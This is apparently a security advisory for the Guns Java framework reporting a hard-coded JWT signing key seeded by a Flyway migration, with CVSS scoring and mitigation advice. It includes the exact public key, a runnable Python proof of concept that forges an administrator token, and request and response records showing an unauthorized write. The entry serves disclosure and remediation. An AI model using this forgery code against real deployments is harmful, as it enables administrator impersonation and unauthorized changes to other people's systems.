| الوصف | Guns ships a hard-coded JWT signing key with no protection. The Flyway migration https://github.com/stylefeng/Guns/blob/2a12947733945d5c06197d99ecaa77d7f2b0aeba/src/main/resources/db/migration/mysql/V8.0.0_20230711_2057__init_guns.sql#L206 seeds table sys_config with config SYS_AUTH_JWT_SECRET = 995zg7hw6uwfcwfd6s8w5ibyl4i5u9. The value is public in the repository, is executed by Flyway on first startup, has no override in any shipped application yml, and triggers no startup warning; the runtime random-key fallback fires only when the value is null. Introduced with 8.0.0 (commit 9067dd7091c7506372b12e13681924bac1eef871, 2023-07-11) and unchanged through commit 2a12947733945d5c06197d99ecaa77d7f2b0aeba (master head, 2025-11-12, re-confirmed as head on 2026-10-29; no 8.x release tags exist). Every stock deployment therefore signs and accepts tokens under this public key. The submitter reported the issue in https://github.com/stylefeng/Guns/issues/117 (2026-06-16, open, no vendor response as of 2026-10-29); this entry adds the effective key material, a runnable offline-forgery proof of concept, control experiments and scoring.
Token construction. The application pins dependency group com.javaguns.roses 8.3.5 and signs with jjwt 0.9.1, which Base64-decodes the config string to the effective HMAC key: the 30-character unpadded value decodes to the 21-byte key f7de7383b870eaec1f7307ddeacf30e626f29788b9, the trailing 2 characters being dropped as an incomplete group (reproduced with DatatypeConverter.parseBase64Binary and jjwt Base64Codec on jars extracted from the deployed fat jar). A token is HS512-signed over a payload of userId (numeric), account, attacker-chosen random uuid, rememberMe, expirationDate in milliseconds, sub, iat and exp; the default exp is iat + 604800 and no server-side clamp exists (a forged token expiring 365 days out was accepted). Verification is signature-only: TokenAndPermissionInterceptor.preHandle parses the token and rebuilds the session from the database (createNewLoginInfo reloads the named user), and every route flagged required_login_flag or required_permission_flag authorizes against that rebuilt session. Tokens carry no permission claims, so a validly signed token acts as its userId on all protected routes.
Attack process, fully offline with no login endpoint involved. Standard-library Python replicating the jjwt 0.9.1 key handling:
import json,time,hmac,hashlib,base64,uuid
S="995zg7hw6uwfcwfd6s8w5ibyl4i5u9"
k=base64.b64decode(S+"="*(-len(S)%4))[:(len(S)//4)*3]
n=int(time.time()); e=n+604800
p={"userId":1339550467939639299,"account":"admin","uuid":uuid.uuid4().hex,"rememberMe":True,"expirationDate":e*1000,"sub":"1339550467939639299","iat":n,"exp":e}
b=lambda x:base64.urlsafe_b64encode(x).rstrip(b"=").decode()
h=b(json.dumps({"alg":"HS512","typ":"JWT"},separators=(",",":")).encode()); q=b(json.dumps(p,separators=(",",":")).encode())
tok=h+"."+q+"."+b(hmac.new(k,(h+"."+q).encode(),hashlib.sha512).digest())
The forged token impersonates the seeded administrator (userId 1339550467939639299, account admin) and is sent as a raw Authorization header without Bearer prefix, matching the shipped frontend (guns-front-project/src/utils/request/request.js line 24). Round 1, required fields missing: POST http://127.0.0.1:25000/sysApp/add returns HTTP 500 code A1506 (parameter validation), proving the request already passed authentication and permission. Round 2, complete body {"appName":"PocVerify2 D self-granted-claims","appCode":"poc2d20261029","appSort":4,"statusFlag":1,"appIcon":1}: HTTP 200 {"success":true,"code":"00000"}; the row persists in sys_app with create_user = 1339550467939639299, the forged admin identity.
Control experiments on the same endpoint, persisted sys_app rows counted afterwards: anonymous request returns HTTP 500 code A0307 (token get failure), 0 rows; a token signed with the first character of the key changed from 9 to 8 returns HTTP 500 code B0301 (token parse failure, the response citing TokenAndPermissionInterceptor.java:71), 0 rows; forged admin tokens are accepted both with the default window and with exp 365 days out, and their rows persist with create_user equal to the forged admin userId. Only tokens signed with the effective key write.
Impact: authentication bypass and administrator impersonation on all protected routes of default deployments, demonstrated as one committed unauthorized write. Reads, destructive endpoints and durable account takeover via password change were not tested. CVSS:3.1 base vector AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N, base score 9.1; A:N because no availability impact was demonstrated, a scorer weighing destructive write access may prefer A:L. Class: CWE-321 Use of Hard-coded Cryptographic Key.
Mitigation: replace the seeded value with a per-deployment random key before first use; any deployment that ever ran with the stock key must treat all existing tokens as forged. Restrict write access to sys_config in production and optionally fail startup when the stock value is present.
Product homepage: https://github.com/stylefeng/Guns |
|---|